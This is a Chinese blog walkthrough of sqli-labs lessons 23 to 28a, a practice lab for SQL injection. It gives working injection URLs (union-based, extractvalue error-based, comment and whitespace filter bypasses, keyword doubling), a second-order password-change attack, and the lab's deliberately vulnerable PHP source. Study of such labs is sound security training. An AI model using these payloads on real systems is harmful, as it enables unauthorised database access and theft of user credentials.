Sqllibs-Less23-28

最新推荐文章于 2024-07-03 19:40:24 发布
最新推荐文章于 2024-07-03 19:40:24 发布
阅读量463 收藏
点赞数
分类专栏： # Sqllibs_master
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_43901038/article/details/107318539
版权

文章目录

23、less23-Error Based-no comments

23.1、注入分析

从源码我们可以发现，在这里主要是对注释符（–+和#）进行了替换，因此我们需要用等式 ‘1’=‘1 对后面的引号进行闭合。
在这里插入图片描述

因此。本关的paylaod类似于第一关，这里给出一个paylaod，其余的类似于第一关的payload，就不一一赘述了。

查找数据库的名称：

http://192.168.10.208:8081/sqli-labs-master/Less-23/index.php?id=-1' union select 1,database(),3 and '1'='1

输出结果如下：
在这里插入图片描述

23.2、获取数据

后面是参考的另外有一篇文章的方法，写的很赞哦！
Less-23 ：https://www.cnblogs.com/lcamry/p/5763012.html

此处的sql语句为

SELECT * FROM users WHERE id='-1' union select 1,@@datadir,'3' limit 0,1

在这里插入图片描述

Explain：此处讲解几个知识点：

  • id=-1，为什么要用-1，因为sql语句执行了两个select语句，第一个select为id的选择语句，第二个为我们构造的select语句。只有一个数据可以输出，为了让我们自己构造的数据可以正常输出，第一个select要没有结果，所以-1或者超过数据库所有数据都可以。
  • -1’ union select 1,@@datadir,‘3，第一个’（单引号）闭合-1，第二个’（单引号）闭合后面的。这样将查询内容显示在username处。
  • 此处可以报错注入，延时注入，可以利用or ‘1’='1进行闭合。http://127.0.0.1/sqllib/Less-23/index.php?id=1%27or%20extractvalue%281,concat%280x7e,database%28%29%29%29%20or%20%271%27=%271
    以上这条语句就是利用extractvalue()进行报错注入。
    在这里插入图片描述

将@@datadir修改为其他的选择内容或者是内嵌的select语句。以下用联合注入方法进行注入。

• 获取数据库

http://127.0.0.1/sqllib/Less-23/index.php?id=-1’union select 1,(select group_concat(schema_name) from information_schema.schemata),'3

在这里插入图片描述

此处获取的数据库为security

•查看security库数据表

http://127.0.0.1/sqllib/Less-23/index.php?id=-1’union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’),'3
在这里插入图片描述

•查看users表的所有列

http://127.0.0.1/sqllib/Less-23/index.php?id=-1’union select 1,(select group_concat(column_name) from information_schema.columns where table_name=‘users’),'3

•获取内容

http://127.0.0.1/sqllib/Less-23/index.php?id=-1’union select 1,(select group_concat(username) from security.users limit 0,1),'3

23.3、源码分析

$id=$_GET['id'];

//filter the comments out so as to comments should not work
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);
//preg_replace — 执行一个正则表达式的搜索和替换;用$replace替换掉$id中的$reg 
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);

// connectivity 


$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

	if($row)
	{
  	echo '<font color= "#0000ff">';	
  	echo 'Your Login name:'. $row['username'];
  	echo "<br>";
  	echo 'Your Password:' .$row['password'];
  	echo "</font>";
  	}
	else 
	{
	echo '<font color= "#FFFF00">';
	print_r(mysql_error());
	echo "</font>";  
	}

24.less24-Second Degree Injections

24.1、注入分析

在这里我们利用的是新建用户，首先新建一个用户admin ' # ，然后用这个用户修改密码，修改的却是admin的密码，但是用户admin ' # 的密码却没有变化。

如下，我们先来看一下原始数据库中的用户与用户密码。
在这里插入图片描述
然后，我们新建一个用户admin ' # ，密码为1。
在这里插入图片描述
然后登陆用户admin ' # ，修改密码。将密码修改为123456.
在这里插入图片描述
然后，我们查看修改密码前后数据库中的用户密码改变。
在这里插入图片描述

24.2、源码分析

修改密码pass_change.php文件的部分源码：

# Validating the user input........
$username= $_SESSION["username"];
$curr_pass= mysql_real_escape_string($_POST['current_password']);
$pass= mysql_real_escape_string($_POST['password']);
$re_pass= mysql_real_escape_string($_POST['re_password']);

if($pass==$re_pass)
{	
	$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
	$res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( ');
	$row = mysql_affected_rows();

25.less25-Trick with OR & AND

25.1、注入分析

在这里插入图片描述
可见本关主要为过滤了and和or，如何绕过and和or过滤为关键。

  • 1.大小写变形 OR，Or，And等等
  • 2.编码，hex，urlencode
  • 3.添加注释 / * or * /
  • 4.利用等价符号 and和&&，or和 ||

如下，在这里可以利用union注入，类似于第一关的paylaod。

http://192.168.10.208:8081/sqli-labs-master/Less-25/?id=-1' union select 1,2,3%23

在这里插入图片描述

还可以利用报错注入or，如下：

http://192.168.10.208:8081/sqli-labs-master/Less-25/?id=1'|| extractvalue(1,concat(0x7e,database()))--+

在这里插入图片描述

25.2、代码分析

	function blacklist($id)
	{
		$id= preg_replace('/or/i',"", $id);			//strip out OR (non case sensitive)
		$id= preg_replace('/AND/i',"", $id);		//Strip out AND (non case sensitive)
	
		return $id;
	}
	………………………………………………
	
	$id= blacklist($id);
	//echo "<br>";
	//echo $id;
	//echo "<br>";
	$hint=$id;
	
	………………………………………………
	// connectivity 
	$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
	$result=mysql_query($sql);
	$row = mysql_fetch_array($result);
	if($row)
	{
	  	echo "<font size='5' color= '#99FF00'>";	
	  	echo 'Your Login name:'. $row['username'];
	  	echo "<br>";
	  	echo 'Your Password:' .$row['password'];
	  	echo "</font>";
  	}
	else 
	{
		echo '<font color= "#FFFF00">';
		print_r(mysql_error());
		echo "</font>";  
	}

25a.less25a-Trick with OR & AND Blind

25a.1、注入分析

从如下源代码可以发现，本关上一关是类似的，闭合方式为数字型，没有单引号，而且没有输出数据库信息，因此我们不能使用报错注入，但还可以使用union注入和延时注入。
在这里插入图片描述
以下为联合注入查找数据库地址和版本号。

http://192.168.10.208:8081/sqli-labs-master/Less-25a/?id=-1 union select 1,version(),@@basedir %23

输出结果为：
在这里插入图片描述

25a.2、代码分析


	function blacklist($id)
	{
		$id= preg_replace('/or/i',"", $id);			//strip out OR (non case sensitive)
		$id= preg_replace('/AND/i',"", $id);		//Strip out AND (non case sensitive)
	
		return $id;
	}
	………………………………………………………………
	//fiddling with comments
	$id= blacklist($id);
	//echo "<br>";
	//echo $id;
	//echo "<br>";
	$hint=$id;
	………………………………………………………………
	// connectivity 
	$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
	$result=mysql_query($sql)or die(mysql_error());
	$row = mysql_fetch_array($result);

	if($row)
	{
  		echo "<font size='5' color= '#99FF00'>";	
	  	echo 'Your Login name:'. $row['username'];
		//echo 'YOU ARE IN ........';	  	
		echo "<br>";
	  	echo 'Your Password:' .$row['password'];
	  	echo "</font>";
  	}
	else 
	{
		echo '<font size="5" color="#FFFF00">';
		//echo 'You are in...........';
		//print_r(mysql_error());
		//echo "You have an error in your SQL syntax";
		echo "</br></font>";	
		echo '<font color= "#0000ff" font size= 3>';	
	
	}

26.less26-Trick With Comments

参考链接：Less26

26.1、注入分析

在这里插入图片描述
由源码可以看出，在本关中我们过滤的有and、or、/*、#、空格以及\，闭合方式为单引号闭合。

在本关我们可以利用union注入，过滤了空格，我们需要使用其他的字符替换空格。在这里我们利用%b0，替换空格，其他的类似。

http://192.168.10.208:8081/sqli-labs-master/Less-26/?id=0‘ %0b union %0b select %0b 1,2,3 ||'1'='1

在这里插入图片描述

具体解析如下：【来源于参考文章less26】

TIPS:本关可能有的朋友在windows下无法使用一些特殊的字符代替空格，此处是因为apache的解析的问题，这里请更换到linux平台下。

本关结合25关，将空格，or，and,/*,#,–,/等各种符号过滤，此处对于and，or的处理方法不再赘述，参考25.此处我们需要说明两方面：对于注释和结尾字符的我们此处只能利用构造一个 ’ 来闭合后面到 ’ ；对于空格，有较多的方法：

  • %09 TAB键（水平）
  • %0a 新建一行
  • %0c 新的一页
  • %0d return功能
  • %0b TAB键（垂直）
  • %a0 空格

26关，sql语句为SELECT * FROM users WHERE id=’$id’ LIMIT 0,1
我们首先给出一个最为简单的payload：
http://127.0.0.1/sqllib/Less-26/?id=1’%a0||'1

Explain:’%a0||'1

同时，我们此处的sql语句为SELECT * FROM users WHERE id=‘1’ || ‘1’ LIMIT 0,1

第一个 ’ 首先闭合id=’$id’ 中的’，%a0是空格的意思，（ps：此处我的环境是ubuntu14.04+apache+mysql+php，可以解析%a0，此前在windows+wamp测试，不能解析%a0，有知情的请告知。）同时%0b也是可以通过测试的，其他的经测试是不行的。||是或者的意思，'1则是为了闭合后面的 ’ 。

26a.less26a-Trick With Comments

26a、注入分析

在这里插入图片描述
在这里插入图片描述

看源码可以发现这个代码类似于less26关，但是闭合方式改变为单引号+括号，数据库中的错误信息不进行输出。无法进行报错注入，可以利用延时注入和union注入，因此类似于less26关。

http://192.168.10.208:8081/sqli-labs-master/Less-26a/?id=0')%0bunion%0bselect%0b1,user(),(' 3

在这里插入图片描述

27.less27-Trick with SELECT&UNION

27.1、注入分析

function blacklist($id)
{
	$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
	$id= preg_replace('/[--]/',"", $id);		//Strip out --.
	$id= preg_replace('/[#]/',"", $id);			//Strip out #.
	$id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
	$id= preg_replace('/select/m',"", $id);	    //Strip out spaces.
	$id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
	//表达 * 与+的区别 ,* 表示重复0数或n 次，而+ 表示1次以上，即一例中<[0-9]+ >表示<>里面至少要有一个数字才符合条件。
	$id= preg_replace('/union/s',"", $id);	    //Strip out union
	$id= preg_replace('/select/s',"", $id);	    //Strip out select
	$id= preg_replace('/UNION/s',"", $id);	    //Strip out UNION
	$id= preg_replace('/SELECT/s',"", $id);	    //Strip out SELECT
	$id= preg_replace('/Union/s',"", $id);	    //Strip out Union
	$id= preg_replace('/Select/s',"", $id);	    //Strip out select
	return $id;
}

在这里插入图片描述
上面是我们的过滤函数，可以发现，相较于26关，这一关过滤的条件增加了很多。过滤的有 ：and、or、/*、#、空格、\、出现任意多次的select、一次union、UNION、SELECT、Union、Select。并且可以发现会显示数据库肚饿报错信息呢，因此可以利用报错注入和union注入。

当我们使用union注入时，可以利用ununionion、SeLecT绕过上面的注入函数。其余的类似于上面。

http://192.168.10.208:8081/sqli-labs-master/Less-27/?id=0'%0bununionion%0bSeLecT%0b1,database(),'@@basedir

在这里插入图片描述

27a.less27a-Trick with SELECT&UNION

27a.1、注入分析

在这里插入图片描述
在这里插入图片描述

从上面源码可以看出，本关相较于27关，主要是闭合方式改为了双引号，并且不输出数据库的错误信息，因此我们无法利用报错注入，但可以利用union注入。

http://192.168.10.208:8081/sqli-labs-master/Less-27a/?id=0"%0bununionion%0bSeLecT%0b1,database(),"@@basedir

在这里插入图片描述

28.less28-Trick with SELECT & UNION

28.1、注入分析

在这里插入图片描述

function blacklist($id)
{
	$id= preg_replace('/[\/\*]/',"", $id);				//strip out /*
	$id= preg_replace('/[--]/',"", $id);				//Strip out --.
	$id= preg_replace('/[#]/',"", $id);					//Strip out #.
	$id= preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.
	//$id= preg_replace('/select/m',"", $id);	   		//Strip out spaces.
	$id= preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.
	$id= preg_replace('/union\s+select/i',"", $id);	    //Strip out UNION & SELECT.
	return $id;
}

由上面源码可以得出，本关过滤的了/*、–、#、空格、union select字符串。类似于上一关就不重复赘述了。

http://192.168.10.208:8081/sqli-labs-master/Less-28/?id=0')%0bUnIoN%0bSeLecT%0b1,database(),('@@basedir

在这里插入图片描述

28a.less28a-Trick with SELECT & UNION

28a.1、注入分析

在这里插入图片描述
在这里插入图片描述
如上可知，本关类似于less28，只是少了几个过滤函数而已，且闭合方式为单引号+括号。

http://192.168.10.208:8081/sqli-labs-master/Less-28a/?id=0')unIon%0bsElect%0b1,@@basedir,3||('1

在这里插入图片描述

xor0ne_10_01
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
rollup-plugin-less:更少的汇总插件
04-29
npm install rollup - plugin - less -- save 用法 import './test.less' ; //generate css will be auto insert to the head tag if you set insert be true import { rollup } from 'rollup' ; import less from ...
sqli-labs第23~25关
yuqnqi的博客
05-13 183
判断为get传参，类似于前10关直接在URL上输入SQL语句判断为单引号闭合与前10关不同的是，注释符无效，我们去看看源码发现注释符被正则表达式过滤且为id传参，单引号闭合所以想办法不用注释符就搞掉后面的单引号于是乎，构造语句?联合查询爆数据库?爆表?爆字段?爆值payload?当然也可以报错注入和其他方法。
SQLi LABS Less 23 联合注入+报错注入+布尔盲注
wangyuxiang946的博客
08-15 1万+
SQLi 第二十三关，SQLi-LABS Less-23，SQLi-LABS Less 23，SQLiLABS Less23，SQLi Less 23
sqli-labs第23关
最新发布
rp114514的博客
07-03 149
在本关中，我们学习了如何判断是否存在SQL注入，如何利用错误信息推断数据库名称、表名和字段名。这些技巧不仅提高了我们的SQL注入攻击能力，也增强了我们对数据库安全的理解。今天的实训课我们挑战了sqli-labs第23关，这是一个错误型盲注的挑战，主要的目标是通过利用错误信息来推断出数据库中的数据，而不是直接显示在页面上。错误判断出以后，然后利用判断库名，列名，数据的方法进一步探索数据库中的其他表和字段，以及可能的敏感数据。我们可以看到，--%20没有生效，在后面加上#，依旧抛出错误。判断是否存在注入:?
SQLi Labs Lesson24
1ame的博客
08-18 686
Lesson - 24 POST - second Order Injection *real treat* - Stored Injection 首先进入界面： 点击Forget_your_passoword?，结果如图所示： 那我们先注册一个账号： username为：test password为：test 用test登陆，界面
（手工）【sqli-labs24】二次注入：原理、利用过程
07-12 842
【SQL-二次注入】
sqli-labs less24
qq_45106794的博客
10-26 146
#sqli-labs less 24 函数回顾 mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。 下列字符受影响： \x00 \n \r \ ’ " \x1a 如果成功，则该函数返回被转义的字符串。如果失败，则返回 false。 语法 mysql_real_escape_string(string,connection) 参数 ...
postcss-less:用于解析LESS的PostCSS语法
05-13
poscss-less不是LESS编译器。 要编译LESS，请使用LESS的官方工具集。 安装 使用npm： npm install postcss-less --save-dev 如果您发现此模块有用，请考虑。 用法 无postcss-less的最常见用法是将PostCSS转换直接...
mrcrowl.easy-less-1.7.2.zip
03-25
《深入解析mrcrowl.easy-less-1.7.2.zip：轻松驾驭LESS语言的VSCode插件》 在Web开发领域，LESS是一种强大的CSS预处理器，它扩展了CSS的功能，引入了变量、嵌套规则、混合（mixins）以及函数等特性，使得CSS代码...
mrcrowl.easy-less-1.7.3
12-07
《深入浅出：mrcrowl.easy-less-1.7.3——简化LESS CSS编程的艺术》 在Web前端开发领域，CSS（层叠样式表）是不可或缺的一部分，它赋予网页丰富的样式与布局。然而，随着网页设计的复杂度不断提升，CSS代码的维护和...
sql-labs通关技巧
03-01
在实际操作中，可能会遇到更复杂的注入点，比如`less1`的爆破数据库示例，我们可以使用类似的SQL语句结合`UNION SELECT`来尝试获取信息，同时`sqlmap`也可以用相同的方法辅助攻击。 总结来说，SQL注入的关键在于...
Sqli-labs 复习 Less24 二次排序注入 - POST
kevinhanser
08-11 391
之前学习了一遍 sqli-labs，这是巩固复习一遍，代码全部手敲，加深印象 Sqli-labs 博客目录 二次排序注入 原理介绍 简介 二次排序注入也成为存储型的注入，就是将可能导致 sql 注入的字符先存入到数据库中，当再次调用这个恶意构造的字符时，就可以出发 sql 注入。 思路 黑客通过构造数据的形式，在浏览器或者其他软件中提交 HTTP 数据报文请求到服务端...
SQLI-LIBS靶场23-24 #过滤以及二次注入实战
qq_42261604的博客
11-03 261
Less-23 Get型单引号报错注入 输入过滤了-- # 并替代成空，故采用单引号闭合 http://127.0.0.1/sql/Less-23/?id=1' and 1='1 直接搜索已知的数据，成功 http://127.0.0.1/sql/Less-23/?id=1' and extractvalue(1,concat(0x7e,(select username from users limit 0,1),0x7e)) and 1='1 Le...
（手工）【sqli-labs28、28a】字符型注入、盲注、过滤
07-14 1075
【SQL-字符型注入、盲注、过滤】
sql绕过less-23 less-25 less-26 less-27 以及一点http头注入 less-18 less-5
weixin_74182283的博客
04-01 1285
拆分该语句 为了完成绕过，需要先将id进行闭合 因此语句为 id='xx' || 1',此时多了个单引号出来，因此需要将其闭合，变成id='xx' || '1'，语句为id='xx' || '1' 这时，因为||是可以替代or来进行使用的（这个是学计算机的基本常识），在语法中相当于或者，而此时右边的 '1' 永远为真（因为 '1' 永远都是’1‘ ）因此可以通过该语句直接完成绕过。而我们这里的http头注入所运用的报错函数，他就是需要~才能导致报错的出现，因此只要存在波浪线，就可以确保这个函数报错。
SQLi LABS Less 25 联合注入+报错注入+布尔盲注
热门推荐
wangyuxiang946的博客
06-28 1万+
SQLi 第二十五关，SQLi-LABS Less-25，SQLi-LABS Less 25，SQLiLABS Less25，SQLi Less 25
sql-labs闯关26~31
qq_44663230的博客
09-03 2385
sql-labs闯关26-28a 29~31暂时不做
sqli-labs(28-28a)
qq_43579362的博客
02-15 1438
Less-28 1.测试http://127.0.0.1/sqli-labs/Less-28/?id=1%27，页面回显不正常，但又没有错误提示，报错注入没戏，尝试闭合语句，加单引号回显不正常，说明sql语句闭合至少有'，可能有)，判断有无)在Less-26已经写过，经过验证确实含有'。 2.尝试使用联合查询注入，构造语句http://127.0.0.1/sqli-labs/Less-28/?id...
Sqlilabs-24
KAKA的博客
07-14 774
这一关来到了二次注入的世界： 所谓的二次注入简单一句话：就是你在一个身份下面可以改其它身份的密码（数据） 不过在此之前想尝试一下报错注入在修改密码可不可以成功： ???让我更聪明更努力点??? ok，fine… 那就二次注入吧… 后台的修改密码的 SQL 语句如下： 试想，如果在注册的时候，就写入一个带过滤后边 SQL 与的字符的用户名会怎么样呢？比如：admin’# SQL 语句就变成了： UPDATE users SET PASSWORD='$pass' where username= 'admi
sqli-labs-less1
05-26
sqli-labs-less1是一个SQL注入练习平台，它主要用于学习和测试SQL注入攻击技术。sqli-labs-less1是一个非常基础的例子，旨在演示如何使用SQL注入攻击来绕过登录认证。它提供了一个登录页面，其中包含用户名和密码字段。攻击者可以通过在输入框中输入特定的字符串来尝试绕过认证。 如果您想深入学习SQL注入攻击技术，sqli-labs-less1可能是一个很好的练习平台。但请注意，这个平台是为了学术目的而设计的，不要在未授权的情况下尝试对任何真实的系统进行SQL注入攻击。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值